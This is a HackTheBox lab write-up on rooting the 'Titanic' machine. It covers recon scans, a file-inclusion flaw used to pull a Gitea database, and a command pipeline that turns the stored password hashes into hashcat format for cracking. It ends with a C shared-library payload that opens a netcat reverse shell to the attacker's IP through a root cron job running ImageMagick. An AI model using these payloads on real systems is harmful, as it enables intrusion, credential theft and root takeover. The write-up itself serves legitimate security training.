HackTheBox | Titanic

In this writeup, I demonstrate how to gain root level access to Titanic on HackTheBox.

HackTheBox | Titanic

https://www.hackthebox.com/achievement/machine/1386836/648

Reconnaissance

┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~]
└──╼ [★]$ target_ip=10.129.211.172

┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~]
└──╼ [★]$ target_domain=titanic.htb

┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ echo -e "$target_ip\t$target_domain" | sudo tee -a /etc/hosts
10.129.211.172	titanic.htb

┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ sudo nmap -sC -sV -oA nmap/full.tcp -p- $target_ip
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-18 13:40 CST
Nmap scan report for 10.129.211.172
Host is up (0.011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.40 seconds

Initial Access

Discovering a Local File Inclusion (LFI) Vulnerability

Before navigating to the target system's web server, I started Burp Suite to proxy all web traffic. It is good practice to have automated reconnaissance running in the background, so a directory brute force was started. With Burp Suite's built-in web browser, I navigated to the target domain.

Manual enumeration revealed a "Book Now" form where users could provide their name, email, phone number, travel date, and cabin type. Once the form is submitted, a .json file is automatically downloaded. This file contains the user's booking information.

To better understand what is going on, I looked at the HTTP history in Burp Suite. A POST request is made when the user submits a booking request. The target web server responds with an HTTP 302 FOUND status code and redirects the user to a new URL based on the Location header. This is what causes the automatic download of the .json file. The GET request has a ticket parameter specifying the file viewed/downloaded. This functionality can be abused to read local files on the target system by providing the absolute path.

I attempted to read various files on the target system that contained sensitive information. However, I could not locate anything useful so I continued to enumerate the target system.

Figure 2 - Landing Page
Figure 3 - Book Now
Figure 4 - Submitting the Form
Figure 5 - Viewing JSON File
Figure 6 - HTTP History
Figure 7 - LFI Vulnerability

Pillaging a Gitea Instance

The initial directory brute force did not reveal anything promising, so I did a subdomain brute force. This led to the discovery of a dev subdomain. After adding it to my /etc/hosts file, I was able to access a Gitea instance. There, I found the source code for the target application, which confirmed that the system is vulnerable to a local file inclusion (LFI) attack.

┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ ffuf -H "Host: FUZZ.$target_domain" -c -w "/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt" -u http://$target_domain -fw 20

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://titanic.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.titanic.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 20
________________________________________________

dev                     [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 19ms]
:: Progress: [4989/4989] :: Job [1/1] :: 4651 req/sec :: Duration: [0:00:01] :: Errors: 0 ::

Figure 8 - Gitea Instance
Figure 9 - App.py Source Code

Additionally, the Gitea instance had Docker compose files for Gitea and MySQL. The LFI was used to confirm the existence of these files on the target system. The one I was most interested in was for Gitea itself.

The Gitea Docker compose file had a volume that mapped /home/developer/gitea/data to /data in the Docker container. Docker volumes provide a mechanism for persistent data generated by and used for Docker containers. Per the Gitea documentation, all customization files will be placed in the /data/gitea directory. The configuration file for the Gitea instance can be found in /data/gitea/conf/app.ini, relative to the Docker container. Due to the Docker volume, this file can be viewed relative to the target system by replacing /data with /home/developer/gitea, resulting in the file's absolute path being `/home/developer/gitea/data/gitea/conf/app.ini.

Figure 10 - Docker Compose File
Figure 11 - Using LFI to View Docker Compose File
Figure 12 - Gitea Configuration File

Execution

Extracting Credentials from a Gitea Database File

In the configuration file, the path to the Gitea database is PATH = /data/gitea/gitea.db. With the LFI, I am able to view and download the database file to my local system. To do so, simply save the response and delete all headers. With the file command I verify that the database was not corrupted and connect to it. The database contained a list of users and their password hashes.

With some command-line magic, I was able to extract the required information from the database file and store it in a format suitable for Hashcat to crack. And just like that, I had credentials that could be used to access the target system via SSH.

Figure 13 - Gitea Database File
Figure 14 - Saving Gitea Database File
┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ vi gitea.db 

┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ file gitea.db 
gitea.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 562, database pages 509, cookie 0x1d9, schema 4, UTF-8, version-valid-for 562

┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ sqlite3 gitea.db 
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
sqlite> .schema user
sqlite> .mode line
sqlite> select * from user;
                            id = 1
                    lower_name = administrator
                          name = administrator
                     full_name = 
                         email = root@titanic.htb
            keep_email_private = 0
email_notifications_preference = enabled
                        passwd = cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136
              passwd_hash_algo = pbkdf2$50000$50
          must_change_password = 0
                    login_type = 0
                  login_source = 0
                    login_name = 
                          type = 0
                      location = 
                       website = 
                         rands = 70a5bd0c1a5d23caa49030172cdcabdc
                          salt = 2d149e5fbd1b20cf31db3e3c6a28fc9b
                      language = en-US
                   description = 
                  created_unix = 1722595379
                  updated_unix = 1722597477
               last_login_unix = 1722597477
          last_repo_visibility = 0
             max_repo_creation = -1
                     is_active = 1
                      is_admin = 1
                 is_restricted = 0
                allow_git_hook = 0
            allow_import_local = 0
     allow_create_organization = 1
                prohibit_login = 0
                        avatar = 2e1e70639ac6b0eecbdab4a3d19e0f44
                  avatar_email = root@titanic.htb
             use_custom_avatar = 0
                 num_followers = 0
                 num_following = 0
                     num_stars = 0
                     num_repos = 0
                     num_teams = 0
                   num_members = 0
                    visibility = 0
 repo_admin_change_team_access = 0
               diff_view_style = 
                         theme = gitea-auto
         keep_activity_private = 0

                            id = 2
                    lower_name = developer
                          name = developer
                     full_name = 
                         email = developer@titanic.htb
            keep_email_private = 0
email_notifications_preference = enabled
                        passwd = e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56
              passwd_hash_algo = pbkdf2$50000$50
          must_change_password = 0
                    login_type = 0
                  login_source = 0
                    login_name = 
                          type = 0
                      location = 
                       website = 
                         rands = 0ce6f07fc9b557bc070fa7bef76a0d15
                          salt = 8bf3e3452b78544f8bee9400d6936d34
                      language = en-US
                   description = 
                  created_unix = 1722595646
                  updated_unix = 1722603397
               last_login_unix = 1722603397
          last_repo_visibility = 0
             max_repo_creation = -1
                     is_active = 1
                      is_admin = 0
                 is_restricted = 0
                allow_git_hook = 0
            allow_import_local = 0
     allow_create_organization = 1
                prohibit_login = 0
                        avatar = e2d95b7e207e432f62f3508be406c11b
                  avatar_email = developer@titanic.htb
             use_custom_avatar = 0
                 num_followers = 0
                 num_following = 0
                     num_stars = 0
                     num_repos = 2
                     num_teams = 0
                   num_members = 0
                    visibility = 0
 repo_admin_change_team_access = 0
               diff_view_style = 
                         theme = gitea-auto
         keep_activity_private = 0

┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=

┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ cat gitea.hashes | cut -d ":" -f2- | tee hashcat_gitea.hashes
sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=

┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ hashcat hashcat_gitea.hashes /usr/share/wordlists/rockyou.txt 

┌─[us-release-1]─[10.10.14.63]─[htb-mp-1386836@htb-xbeurotjer]─[~/my_data/Titanic]
└──╼ [★]$ ssh developer@titanic.htb

Privilege Escalation

Non-Standard Scripts and Cron Jobs

While enumerating the target system, I discovered a non-standard script in the /opt directory. The script changes directories into /opt/app/static/assets/images, effectively clears the metadata.log file, lists all .jpgs in the /opt/app/static/assets/images directory and runs /usr/bin/magick identify on each file while appending the output to the metadata.log file.

Running watch -n 30 -d ls -latr /opt/app/static/assets/images/metadata.log shows the file's timestamp updating every minute. This behavior hints at the script being run every minute via a cron job. The developer user did not have any associated cron jobs running the script, so hopefully it is running as root because it turns out that the specific version of magick running on the target system allows for arbitrary code execution.

developer@titanic:~$ ls -latr /opt/scripts/
total 12
-rwxr-xr-x 1 root root  167 Feb  3 17:11 identify_images.sh
drwxr-xr-x 2 root root 4096 Feb  7 10:37 .
drwxr-xr-x 5 root root 4096 Feb  7 10:37 ..

developer@titanic:~$ cat /opt/scripts/identify_images.sh 
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

developer@titanic:~$ /usr/bin/magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)


Loading a Malicious Shared Library

The following shared library was created in the working directory of the script. After a minute or so the script ran and got a shell as root.

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("busybox nc 10.10.14.63 9001 -e sh");
    exit(0);
}
EOF
Figure 15 - Arbitrary Code Execution as Root

References